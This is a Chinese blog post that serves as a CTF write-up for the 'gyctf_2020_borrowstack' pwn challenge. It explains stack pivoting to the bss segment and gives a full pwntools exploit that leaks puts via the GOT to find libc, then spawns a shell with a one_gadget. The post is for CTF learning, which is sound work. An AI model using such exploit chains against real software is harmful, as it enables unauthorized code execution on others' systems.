• gyctf_2020_borrowstack


    这是我第一次拿着大佬的exp调试的栈迁移,有许多收获,所以一定要记录下来

    流程分析

    程序很简单,不过,由于溢出后没有什么可以在运行的了,所以我们需要将栈迁移到bss段中

     思路

    通过两次的新老leave,将栈迁移到bss段上,不过要尽量往高地址迁移,以免在其又一次运行main函数时候,申请的临时变量的空间会覆盖到了我们的got表中

    from pwn import *
    
    #p=remote('node3.buuoj.cn',25375)
    #p=process('./gyctf_2020_borrowstack')
    p=gdb.debug('./gyctf_2020_borrowstack','b *0x40068F')
    elf=ELF('./gyctf_2020_borrowstack')
    libc=ELF('../libc-2.23.so')
    
    p.recv()
    payload=0x60*b'a'+p64(0x601090)+p64(0x400699)
    p.send(payload)
    p.recv()
    #p64(0x4004c9)*0x14
    payload=p64(0x4004c9)*0x14+p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main'])
    p.send(payload)
    
    libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
    libc_base=libc_base-libc.symbols['puts']
    gdb.attach(p)
    one_gadget=libc_base+0x4526a
    payload=b'p'*0x60+b'pppppppp'+p64(one_gadget)
    p.send(payload)
    p.interactive()
  • 相关阅读:
    详解vue生命周期
    浅谈前端中的mvvm与mvc
    实际项目开发需要注意的tips
    toFixed()一不小心踩了一个坑
    git学习(持续踩坑中🤣)
    webpack基础
    创建git仓库并发布
    注册npm账号
    Invalid left-hand side in assignment
    关于项目中js原型的使用
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14032836.html
Copyright © 2020-2023  润新知